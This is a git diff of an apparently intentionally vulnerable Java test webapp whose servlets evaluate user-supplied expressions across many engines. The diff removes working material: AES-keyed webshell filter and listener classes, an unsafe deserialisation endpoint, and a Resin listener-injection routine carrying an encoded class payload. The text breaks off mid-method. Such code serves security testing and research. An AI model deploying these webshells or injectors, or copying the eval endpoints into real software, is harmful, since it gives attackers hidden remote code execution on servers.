diff --git a/vul/vul-webapp-expression/build.gradle b/vul/vul-webapp-expression/build.gradle index 4da49a75..2d6d0c9c 100644 --- a/vul/vul-webapp-expression/build.gradle +++ b/vul/vul-webapp-expression/build.gradle @@ -32,7 +32,7 @@ dependencies { implementation 'com.hubspot.jinjava:jinjava:2.4.5' implementation 'org.springframework:spring-expression:4.3.0.RELEASE' providedCompile 'de.odysseus.juel:juel-api:2.2.7' - providedCompile "javax.servlet:servlet-api:2.5" + providedCompile 'javax.servlet:javax.servlet-api:3.1.0' testImplementation platform('org.junit:junit-bom:5.11.4') testImplementation 'org.junit.jupiter:junit-jupiter' diff --git a/vul/vul-webapp-expression/src/main/java/AviatorServlet.java b/vul/vul-webapp-expression/src/main/java/AviatorServlet.java index 21d5fd06..2ce30839 100644 --- a/vul/vul-webapp-expression/src/main/java/AviatorServlet.java +++ b/vul/vul-webapp-expression/src/main/java/AviatorServlet.java @@ -2,6 +2,7 @@ import com.googlecode.aviator.AviatorEvaluator; import com.googlecode.aviator.AviatorEvaluatorInstance; import javax.servlet.ServletException; +import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; @@ -11,6 +12,7 @@ import java.io.IOException; * @author ReaJason * @since 2024/12/14 */ +@WebServlet("/aviator") public class AviatorServlet extends HttpServlet { @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { diff --git a/vul/vul-webapp-expression/src/main/java/BeanShellServlet.java b/vul/vul-webapp-expression/src/main/java/BeanShellServlet.java index abde9c8f..9e934bf5 100644 --- a/vul/vul-webapp-expression/src/main/java/BeanShellServlet.java +++ b/vul/vul-webapp-expression/src/main/java/BeanShellServlet.java @@ -2,6 +2,7 @@ import bsh.EvalError; import bsh.Interpreter; import javax.servlet.ServletException; +import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; @@ -11,6 +12,7 @@ import java.io.IOException; * @author ReaJason * @since 2025/1/30 */ +@WebServlet("/bsh") public class BeanShellServlet extends HttpServlet { @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { diff --git a/vul/vul-webapp-expression/src/main/java/ELServlet.java b/vul/vul-webapp-expression/src/main/java/ELServlet.java index b02088dd..e1a6303e 100644 --- a/vul/vul-webapp-expression/src/main/java/ELServlet.java +++ b/vul/vul-webapp-expression/src/main/java/ELServlet.java @@ -4,6 +4,7 @@ import de.odysseus.el.util.SimpleContext; import javax.el.ExpressionFactory; import javax.el.ValueExpression; import javax.servlet.ServletException; +import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; @@ -13,6 +14,7 @@ import java.io.IOException; * @author ReaJason * @since 2024/12/14 */ +@WebServlet("/el") public class ELServlet extends HttpServlet { @Override diff --git a/vul/vul-webapp-expression/src/main/java/ErrorFilter.java b/vul/vul-webapp-expression/src/main/java/ErrorFilter.java deleted file mode 100644 index 169f6dce..00000000 --- a/vul/vul-webapp-expression/src/main/java/ErrorFilter.java +++ /dev/null @@ -1,128 +0,0 @@ -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; -import javax.servlet.*; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; -import java.io.ByteArrayOutputStream; -import java.io.IOException; - -/** - * @author ReaJason - * @since 2024/11/26 - */ -public class ErrorFilter extends ClassLoader implements Filter { - public String key = "3c6e0b8a9c15224a"; - public String pass = "pass"; - public String md5 = "11CD6A87589841636C37AC826A2A04BC"; - public String headerName = "User-Agent"; - public String headerValue = "test"; - - public ErrorFilter() { - } - - public ErrorFilter(ClassLoader var1) { - super(var1); - } - - public static String base64Encode(byte[] bs) throws Exception { - String value = null; - - try { - Class base64 = Class.forName("java.util.Base64"); - Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); - } catch (Exception var61) { - try { - Class base64 = Class.forName("sun.misc.BASE64Encoder"); - Object encoder = base64.newInstance(); - value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); - } catch (Exception var5) { - } - } - - return value; - } - - public static byte[] base64Decode(String bs) { - byte[] value = null; - - try { - Class base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var61) { - try { - Class base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception var5) { - } - } - - return value; - } - - public Class Q(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - public byte[] x(byte[] s, boolean m) { - try { - Cipher c = Cipher.getInstance("AES"); - c.init(m ? 1 : 2, new SecretKeySpec(this.key.getBytes(), "AES")); - return c.doFinal(s); - } catch (Exception var41) { - return null; - } - } - - @Override - public void init(FilterConfig filterConfig) throws ServletException { - - } - - @Override - public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException { - HttpServletRequest request = (HttpServletRequest) servletRequest; - HttpServletResponse response = (HttpServletResponse) servletResponse; - - try { - if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) { - HttpSession session = request.getSession(); - byte[] data = base64Decode(request.getParameter(this.pass)); - data = this.x(data, false); - if (session.getAttribute("payload") == null) { - session.setAttribute("payload", (new ErrorFilter(this.getClass().getClassLoader())).Q(data)); - } else { - request.setAttribute("parameters", data); - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - - Object f; - try { - f = ((Class) session.getAttribute("payload")).newInstance(); - } catch (Exception e) { - throw new RuntimeException(e); - } - - f.equals(arrOut); - f.equals(request); - response.getWriter().write(this.md5.substring(0, 16)); - f.toString(); - response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); - response.getWriter().write(this.md5.substring(16)); - } - } else { - chain.doFilter(servletRequest, servletResponse); - } - } catch (Exception var12) { - chain.doFilter(servletRequest, servletResponse); - } - - } - - @Override - public void destroy() { - - } -} diff --git a/vul/vul-webapp-expression/src/main/java/ErrorListener.java b/vul/vul-webapp-expression/src/main/java/ErrorListener.java deleted file mode 100644 index 63456a71..00000000 --- a/vul/vul-webapp-expression/src/main/java/ErrorListener.java +++ /dev/null @@ -1,140 +0,0 @@ -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; -import javax.servlet.ServletRequestEvent; -import javax.servlet.ServletRequestListener; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; -import java.io.ByteArrayOutputStream; -import java.lang.reflect.Field; - -public class ErrorListener extends ClassLoader implements ServletRequestListener { - public String md5 = "4B9B4A9EEB3F82A06A5D643C57E87B54"; - public String pass = "passListener"; - public String key = "4fe60e3b9193d6bd"; - public String headerName = "User-Agent"; - public String headerValue = "test"; - - public ErrorListener() { - } - - public ErrorListener(ClassLoader var1) { - super(var1); - } - - public static synchronized Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - - public static String base64Encode(byte[] bs) throws Exception { - String value = null; - try { - Class base64 = Class.forName("java.util.Base64"); - Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); - } catch (Exception var61) { - try { - Class base64 = Class.forName("sun.misc.BASE64Encoder"); - Object encoder = base64.newInstance(); - value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); - } catch (Exception var5) { - } - } - - return value; - } - - public static byte[] base64Decode(String bs) { - byte[] value = null; - - try { - Class base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var61) { - try { - Class base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception var5) { - } - } - - return value; - } - - public Class Q(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - public byte[] x(byte[] s, boolean m) { - try { - Cipher c = Cipher.getInstance("AES"); - c.init(m ? 1 : 2, new SecretKeySpec(this.key.getBytes(), "AES")); - return c.doFinal(s); - } catch (Exception var41) { - return null; - } - } - - @Override - public void requestDestroyed(ServletRequestEvent servletRequestEvent) { - } - - @Override - public void requestInitialized(ServletRequestEvent servletRequestEvent) { - HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); - - try { - if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) { - HttpServletResponse response = this.getResponseFromRequest(request); - HttpSession session = request.getSession(); - byte[] data = base64Decode(request.getParameter(this.pass)); - data = this.x(data, false); - if (session.getAttribute("payload") == null) { - session.setAttribute("payload", (new ErrorFilter(this.getClass().getClassLoader())).Q(data)); - } else { - request.setAttribute("parameters", data); - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = ((Class) session.getAttribute("payload")).newInstance(); - f.equals(arrOut); - f.equals(request); - response.getWriter().write(this.md5.substring(0, 16)); - f.toString(); - response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); - response.getWriter().write(this.md5.substring(16)); - response.flushBuffer(); - } - } - } catch (Exception var8) { - } - - } - - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - HttpServletResponse response = null; - - try { - response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); - } catch (Exception var4) { - response = (HttpServletResponse) getFieldValue(request, "response"); - } - - return response; - } -} diff --git a/vul/vul-webapp-expression/src/main/java/FreemarkerServlet.java b/vul/vul-webapp-expression/src/main/java/FreemarkerServlet.java index ed5a8c9c..a52521da 100644 --- a/vul/vul-webapp-expression/src/main/java/FreemarkerServlet.java +++ b/vul/vul-webapp-expression/src/main/java/FreemarkerServlet.java @@ -3,6 +3,7 @@ import freemarker.template.Template; import freemarker.template.TemplateException; import javax.servlet.ServletException; +import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; @@ -16,6 +17,7 @@ import java.util.Map; * @author ReaJason * @since 2024/12/14 */ +@WebServlet("/freemarker") public class FreemarkerServlet extends HttpServlet { @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { diff --git a/vul/vul-webapp-expression/src/main/java/GroovyServlet.java b/vul/vul-webapp-expression/src/main/java/GroovyServlet.java index 445f3b93..2d8a2fc6 100644 --- a/vul/vul-webapp-expression/src/main/java/GroovyServlet.java +++ b/vul/vul-webapp-expression/src/main/java/GroovyServlet.java @@ -1,6 +1,7 @@ import groovy.lang.GroovyShell; import javax.servlet.ServletException; +import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; @@ -10,6 +11,7 @@ import java.io.IOException; * @author ReaJason * @since 2024/12/14 */ +@WebServlet("/groovy") public class GroovyServlet extends HttpServlet { @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { diff --git a/vul/vul-webapp-expression/src/main/java/JEXL2Servlet.java b/vul/vul-webapp-expression/src/main/java/JEXL2Servlet.java index b72e3c02..6b880f5a 100644 --- a/vul/vul-webapp-expression/src/main/java/JEXL2Servlet.java +++ b/vul/vul-webapp-expression/src/main/java/JEXL2Servlet.java @@ -3,6 +3,7 @@ import org.apache.commons.jexl2.JexlEngine; import org.apache.commons.jexl2.MapContext; import javax.servlet.ServletException; +import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; @@ -12,6 +13,7 @@ import java.io.IOException; * @author ReaJason * @since 2024/12/14 */ +@WebServlet("/jexl2") public class JEXL2Servlet extends HttpServlet { @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { diff --git a/vul/vul-webapp-expression/src/main/java/JEXL3Servlet.java b/vul/vul-webapp-expression/src/main/java/JEXL3Servlet.java index 7a05a5d5..6c3c73c7 100644 --- a/vul/vul-webapp-expression/src/main/java/JEXL3Servlet.java +++ b/vul/vul-webapp-expression/src/main/java/JEXL3Servlet.java @@ -4,6 +4,7 @@ import org.apache.commons.jexl3.JexlExpression; import org.apache.commons.jexl3.MapContext; import javax.servlet.ServletException; +import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; @@ -13,6 +14,7 @@ import java.io.IOException; * @author ReaJason * @since 2024/12/14 */ +@WebServlet("/jexl3") public class JEXL3Servlet extends HttpServlet { @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { diff --git a/vul/vul-webapp-expression/src/main/java/JXPathServlet.java b/vul/vul-webapp-expression/src/main/java/JXPathServlet.java index 3e62a7f6..d6390974 100644 --- a/vul/vul-webapp-expression/src/main/java/JXPathServlet.java +++ b/vul/vul-webapp-expression/src/main/java/JXPathServlet.java @@ -1,6 +1,7 @@ import org.apache.commons.jxpath.JXPathContext; import javax.servlet.ServletException; +import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; @@ -10,6 +11,7 @@ import java.io.IOException; * @author ReaJason * @since 2024/12/14 */ +@WebServlet("/jxpath") public class JXPathServlet extends HttpServlet { @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { diff --git a/vul/vul-webapp-expression/src/main/java/JavaReadObjServlet.java b/vul/vul-webapp-expression/src/main/java/JavaReadObjServlet.java deleted file mode 100644 index 03072106..00000000 --- a/vul/vul-webapp-expression/src/main/java/JavaReadObjServlet.java +++ /dev/null @@ -1,38 +0,0 @@ -import javax.servlet.ServletException; -import javax.servlet.http.HttpServlet; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import java.io.ByteArrayInputStream; -import java.io.IOException; -import java.io.ObjectInputStream; - -/** - * @author ReaJason - * @since 2024/12/10 - */ -public class JavaReadObjServlet extends HttpServlet { - byte[] decodeBase64(String base64Str) throws Exception { - Class decoderClass; - try { - decoderClass = Class.forName("sun.misc.BASE64Decoder"); - return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); - } catch (Exception ignored) { - decoderClass = Class.forName("java.util.Base64"); - Object decoder = decoderClass.getMethod("getDecoder").invoke(null); - return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); - } - } - - @Override - protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { - try { - String data = req.getParameter("data"); - ByteArrayInputStream inputStream = new ByteArrayInputStream(decodeBase64(data)); - ObjectInputStream bis = new ObjectInputStream(inputStream); - bis.readObject(); - bis.close(); - } catch (Exception ignored) { - - } - } -} diff --git a/vul/vul-webapp-expression/src/main/java/JinJavaServlet.java b/vul/vul-webapp-expression/src/main/java/JinJavaServlet.java index 6724194c..f9ad8647 100644 --- a/vul/vul-webapp-expression/src/main/java/JinJavaServlet.java +++ b/vul/vul-webapp-expression/src/main/java/JinJavaServlet.java @@ -2,6 +2,7 @@ import com.google.common.collect.Maps; import com.hubspot.jinjava.Jinjava; import javax.servlet.ServletException; +import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; @@ -12,6 +13,7 @@ import java.util.Map; * @author ReaJason * @since 2025/1/30 */ +@WebServlet("/jinjava") public class JinJavaServlet extends HttpServlet { @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { diff --git a/vul/vul-webapp-expression/src/main/java/MVELServlet.java b/vul/vul-webapp-expression/src/main/java/MVELServlet.java index 2daff4fa..b209148e 100644 --- a/vul/vul-webapp-expression/src/main/java/MVELServlet.java +++ b/vul/vul-webapp-expression/src/main/java/MVELServlet.java @@ -1,6 +1,7 @@ import org.mvel2.MVEL; import javax.servlet.ServletException; +import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; @@ -10,6 +11,7 @@ import java.io.IOException; * @author ReaJason * @since 2024/12/14 */ +@WebServlet("/mvel") public class MVELServlet extends HttpServlet { @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { diff --git a/vul/vul-webapp-expression/src/main/java/OgnlServlet.java b/vul/vul-webapp-expression/src/main/java/OgnlServlet.java index 61558252..afd491e5 100644 --- a/vul/vul-webapp-expression/src/main/java/OgnlServlet.java +++ b/vul/vul-webapp-expression/src/main/java/OgnlServlet.java @@ -3,6 +3,7 @@ import ognl.OgnlContext; import ognl.OgnlException; import javax.servlet.ServletException; +import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; @@ -12,6 +13,7 @@ import java.io.IOException; * @author ReaJason * @since 2024/12/14 */ +@WebServlet("/ognl") public class OgnlServlet extends HttpServlet { @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { diff --git a/vul/vul-webapp-expression/src/main/java/RhinoServlet.java b/vul/vul-webapp-expression/src/main/java/RhinoServlet.java index 9cba4bfa..7ccc960f 100644 --- a/vul/vul-webapp-expression/src/main/java/RhinoServlet.java +++ b/vul/vul-webapp-expression/src/main/java/RhinoServlet.java @@ -2,6 +2,7 @@ import org.mozilla.javascript.Context; import org.mozilla.javascript.Scriptable; import javax.servlet.ServletException; +import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; @@ -11,6 +12,7 @@ import java.io.IOException; * @author ReaJason * @since 2025/1/30 */ +@WebServlet("/rhino") public class RhinoServlet extends HttpServlet { @Override diff --git a/vul/vul-webapp-expression/src/main/java/ScriptEngineServlet.java b/vul/vul-webapp-expression/src/main/java/ScriptEngineServlet.java index db748b1a..bf0f66c6 100644 --- a/vul/vul-webapp-expression/src/main/java/ScriptEngineServlet.java +++ b/vul/vul-webapp-expression/src/main/java/ScriptEngineServlet.java @@ -1,6 +1,7 @@ import javax.script.ScriptEngineManager; import javax.script.ScriptException; import javax.servlet.ServletException; +import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; @@ -10,6 +11,7 @@ import java.io.IOException; * @author ReaJason * @since 2024/12/3 */ +@WebServlet("/js") public class ScriptEngineServlet extends HttpServlet { @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { diff --git a/vul/vul-webapp-expression/src/main/java/SpELServlet.java b/vul/vul-webapp-expression/src/main/java/SpELServlet.java index 4144f611..e34f1584 100644 --- a/vul/vul-webapp-expression/src/main/java/SpELServlet.java +++ b/vul/vul-webapp-expression/src/main/java/SpELServlet.java @@ -1,6 +1,7 @@ import org.springframework.expression.spel.standard.SpelExpressionParser; import javax.servlet.ServletException; +import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; @@ -10,6 +11,7 @@ import java.io.IOException; * @author ReaJason * @since 2024/12/14 */ +@WebServlet("/spel") public class SpELServlet extends HttpServlet { @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { diff --git a/vul/vul-webapp-expression/src/main/java/TestServlet.java b/vul/vul-webapp-expression/src/main/java/TestServlet.java index 46028d43..cc217d33 100644 --- a/vul/vul-webapp-expression/src/main/java/TestServlet.java +++ b/vul/vul-webapp-expression/src/main/java/TestServlet.java @@ -1,266 +1,20 @@ import javax.servlet.ServletException; +import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; import java.io.IOException; -import java.lang.reflect.Constructor; -import java.lang.reflect.Field; -import java.lang.reflect.InvocationTargetException; -import java.lang.reflect.Method; -import java.util.*; -import java.util.zip.GZIPInputStream; /** * @author ReaJason * @since 2024/12/7 */ +@WebServlet("/test") public class TestServlet extends HttpServlet { - static Object getFV(Object obj, String fieldName) throws Exception { - try { - Field field = getF(obj, fieldName); - field.setAccessible(true); - return field.get(obj); - } catch (Exception var3) { - return null; - } - } - - static Field getF(Object obj, String fieldName) throws NoSuchFieldException { - for (Class clazz = obj.getClass(); clazz != null; clazz = clazz.getSuperclass()) { - try { - Field field = clazz.getDeclaredField(fieldName); - field.setAccessible(true); - return field; - } catch (NoSuchFieldException var3) { - } - } - - throw new NoSuchFieldException(fieldName); - } - - public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { - Field field = getF(obj, fieldName); - field.set(obj, value); - } - - static byte[] decodeBase64(String base64Str) throws Exception { - try { - Class decoderClass = Class.forName("sun.misc.BASE64Decoder"); - return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); - } catch (Exception var4) { - Class decoderClass = Class.forName("java.util.Base64"); - Object decoder = decoderClass.getMethod("getDecoder").invoke((Object) null); - return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); - } - } - - public static byte[] gzipDecompress(byte[] compressedData) throws IOException { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - ByteArrayInputStream in = new ByteArrayInputStream(compressedData); - GZIPInputStream gzipInputStream = new GZIPInputStream(in); - byte[] buffer = new byte[256]; - - int n; - while ((n = gzipInputStream.read(buffer)) >= 0) { - out.write(buffer, 0, n); - } - - return out.toByteArray(); - } - - public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { - return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); - } - - public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - - Class tempClass = clazz; - while (method == null && tempClass != null) { - try { - if (paramClazz == null) { - // Get all declared methods of the class - Method[] methods = tempClass.getDeclaredMethods(); - for (Method value : methods) { - if (value.getName().equals(methodName) && value.getParameterTypes().length == 0) { - method = value; - break; - } - } - } else { - method = tempClass.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - tempClass = tempClass.getSuperclass(); - } - } - if (method == null) { - throw new NoSuchMethodException(methodName); - } - method.setAccessible(true); - if (obj instanceof Class) { - try { - return method.invoke(null, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } else { - try { - return method.invoke(obj, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } - } - - public String getUrlPattern() { - return "/*"; - } - - public String getClassName() { - return "com.google.gso.sLUOL.ErrorHandler"; - } - - public String getBase64String() { - return "H4sIAAAAAAAA/6VWa1McRRQ9vSz0skweQEhC1CRoEmCBTMSEIIvEhASDLpsYBI3R6LB0NoO7O+vMLHkZ3+/3Mz6rLD9Y+WqqFJ+lftIq/4iW/0Hx9OyysARIqtyq6dnpvn3vOadv3+4//v3hZwDd+CyKEKokwgaqUSOwdsqatsyMlUubRyamVMoXqOm3c7Y/IFDV1j4eQURg1YULecu1skkrqy5erEUUdRKGgVVYLdCfcrKmq6wpy3NypnZ3Rk2YWZX1VCZjTk04nmd5Jo2yVm7SHCy+E7bnq5xyBWrLngUaEvNoRn3XzqXjUaxFvUSDgUasE2jRBmdNT7nTGeWbo8X3MfV4QXn+oWmVI/76tPIrBwS2trUnVpoal1gvsL3S5LTv583DbCpt69CEjQaasUnAYKyjmoDyNZkdbVczaF+KVBQ3GrgJmwXWp7VjL+/kPDXkOtky5HvbEtcFJ76Y2dV2Re8MuxUtEjcbuAXbqNM8rmOFnG/rFYhqNHMfTW0LsZe6Ay87DLSiTSCszqqUQOs1aB91nZTyPE6NoUOi00AXdlYAKFkIrCaA4Vy+4NONsrICG+ZA2I65YCBeh124VaLbwG3YTeWvTwOBNQxwpOAviLB9udxYaEbsPdgr0WvgdvQJNC6BiXrwNSlQ3XbiQPtwFP24Q2LAwD7cuVzqVkKpPuPaPkFKOhgebh+XODAXKpDp0NmUyvu2k4vgIK3cYgbodBoycBcOc6uS3pCtMpPjVqZAT70Ll6a4w+MrL1bJKIK7BSJuSTddNRIGRpBkJ0MMZiy9Wo0VGRJ0UqijuFfimIFR3Ee9F42z5HD+QZXKWK6aDKAKdF0jgVx1KkNQZmDOvTousHl+NOmMFlKng7GyQBrFAwaOa8Bak9FCXrkpDSCKMZzQ1e8hneFLxB2P4iQekXjUgIUJZuAyOOjYU/7+lE5ceyJDscNtDxZnTxpQOMUKysiLqkJJ3iUUlzgtsG2lKjVfNcODzqRO5oSdU8lCdkK591kBhIaEk7Iy45Zr6+9SZ9g/bVP4gcT/KdVxrlwp4Q7ycZ1zarLMbcWSTEkphecSyS3XYU0SpTjDPIdsK2Of15HWeIu38rULZKnwMVGXqEYCdfbCzdu0ZJ1hjXcq9ugyFCqKBelOFLj+oRPcvzUZlUv7XFsxzP5UllwavaUOrtbrLPhMvFHfSj02YuWDBZZ4ruIgLyayxAWGVGVelQWETqLlD+ZGeNpy9/CcTKy8rTQzZ2Kq8qgu5S+d5IJjvPpUcXs0L7uDacO9eP48z4Cr6gePxMocPpefy+N1i437YwOayKhTcFNqyA5sFqXtTj2F1Venftpx0hllpj3H9BJjRxLmIdd13MO0zihX4oMInqzFJdTpRb6mPQvdJdyomyG0sA1BIM1H6GsR71rV/McrFlubXxuCcaAu9i1ErOHDb/DRFeifQA5OyWgPn5DuuxL8mWJbE8zagMfYri8OIoOPS1PzeDyI6M65EMcR5mkAnOyYwZpf0TTSGfsaH32PDSEku37DoVjnDD7pC3+HLV0z2N5X3Vw9g/a+mubw9zAF+mT9VvwU6Ys01zRHZrDneE9t6HOsbZbNkaqm2hnEL8/+dRnh5BVGi7C4PoT9qMIzjHc7wrMYQK3EJYm1Ek0Sz0rskohJ9Ej0SzwPzGKTvnuWLIADkvMDmj0UDbiBTm/iRW8zCW9hu5W3jBbsxM3YyyvLALYjgR0MG2PgdjyMjkCWUyS8GXF48Em+lZfcVhQo/U6OT+MMJdxLD2dxDjyMGeM8LjDOYdTjCVxELeMN4UkuWZWWrSzuSTwViBvBOA7iaUof0hc2tnqlvuA7zHeLGOloGPwOnzYMs/kVu0YuY3Wyo/zV+RVdhBhqXVkpruIsP4s6UKZdEJQhGsiwiWBB4CH21vNisw63UqduirE7oBpj0CbSfQEvBnBbynBbApA61hbcTSFCeIm9Yfbsp1S8GpSA/8l51Xz3ipHYDO5JdjWEvsT6LmbLEUJf1RdmWtyfvDz7d+fvMH7E2PGOb/HgL53hGTzcyQmpr4L8biSLMXrXfOoR/gdS4qTE0aTEWK0RUOmGEaRFCH3UPc5Jd3DaACfuw0bcSS33c30HsY3Au7gC3QSpKe4mvI18XsYrgcK9eBWvBRR78TpXSVPswRt4k29Jed7C26T0DscNjhV73mXPPH2B94Lt9P5/M4+oTgUNAAA="; - } - - public void addListener(Object context, Object listener) throws Exception { - if (!this.isInjected(context, this.getClassName())) { - String filedName = "applicationEventListenersObjects"; - Object applicationEventListenersObjects = getFV(context, filedName); - if (applicationEventListenersObjects == null) { - filedName = "applicationEventListenersInstances"; - applicationEventListenersObjects = getFV(context, filedName); - } - if (applicationEventListenersObjects != null) { - Object[] appListeners = (Object[]) applicationEventListenersObjects; - if (appListeners != null) { - List appListenerList = new ArrayList(Arrays.asList(appListeners)); - appListenerList.add(listener); - setFieldValue(context, filedName, appListenerList.toArray()); - } - } else if (getFV(context, "applicationEventListenersList") != null) { - List appListeners = (List) getFV(context, "applicationEventListenersList"); - if (appListeners != null) { - appListeners.add(listener); - } - } - } - } - - public boolean isInjected(Object context, String evilClassName) throws Exception { - Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners"); - List listeners = Arrays.asList(objects); - - for (Object o : new ArrayList(listeners)) { - if (o.getClass().getName().contains(evilClassName)) { - return true; - } - } - - return false; - } - - public List getContext() { - List contexts = new ArrayList(); - Set visited = new HashSet(); - - try { - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); - for (Thread thread : threads) { - if (thread.getClass().getName().contains("Resin")) { - Class servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation"); - Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null); - Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]); - if (webApp != null && visited.add(webApp)) { - contexts.add(webApp); - } - } - } - } catch (Exception e) { - // 